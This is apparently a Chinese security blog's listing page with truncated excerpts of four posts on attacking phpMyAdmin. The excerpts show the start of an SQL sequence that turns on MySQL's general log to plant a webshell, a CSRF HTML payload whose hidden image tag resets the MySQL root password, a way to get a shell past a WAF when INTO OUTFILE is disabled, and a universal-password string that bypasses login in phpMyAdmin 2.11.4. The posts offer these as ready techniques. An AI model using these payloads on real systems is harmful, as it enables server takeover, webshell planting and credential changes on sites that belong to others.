三个sql语句拿下phpmyadmin的shell

  • 2018-06-17
  • 安全
  • 2 条评论
  • 4.73K次阅读

三个sql语句拿下phpmyadmin的shell 首先要知道路径 一句一句的执行 --------------------------------------------------------- set global general_log='on'; --------------------------------------------------------- SET global ge...

- 阅读全文 -

phpMyAdmin 4.7.x CSRF 漏洞利用

  • 2018-06-15
  • 安全
  • 暂无评论
  • 2.24K次阅读

修改root密码： 保存为：webshell.html <p>Hello World</p> <img src="https://webshell.cc/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27www.webshell.cc%27)" style="d...

- 阅读全文 -

phpmyadmin新姿势getshell

  • 2017-03-15
  • 安全
  • 6 条评论
  • 7.48K次阅读

旁白：在一个有WAF、并且mysql中的Into outfile禁用的情况下，我该如何getshell？ 首先环境如下： OS:Windows 2003 WAF:Safe Dog 4.0正式版 phpmyadmin:4.7（许多都可以） Mysql:5.5+ PHP:5.3 Apache:2.x 目前 into outfile 已经被禁用，并且WAF也会在写入文件的时候拦截。 那么我们尝试通过一个...

- 阅读全文 -

phpmyadmin 2.11.4万能密码漏洞

  • 2012-12-12
  • 安全
  • 暂无评论
  • 3.82K次阅读

phpmyadmin 2.11.4 phpmyadmin 2.11.3 两个版本都有此漏洞 我去测试了一下 确实可以用。。。 你们可以试一下 只需要输入账号  密码不需要输入 利用代码如下： ‘localhost’@'@”

- 阅读全文 -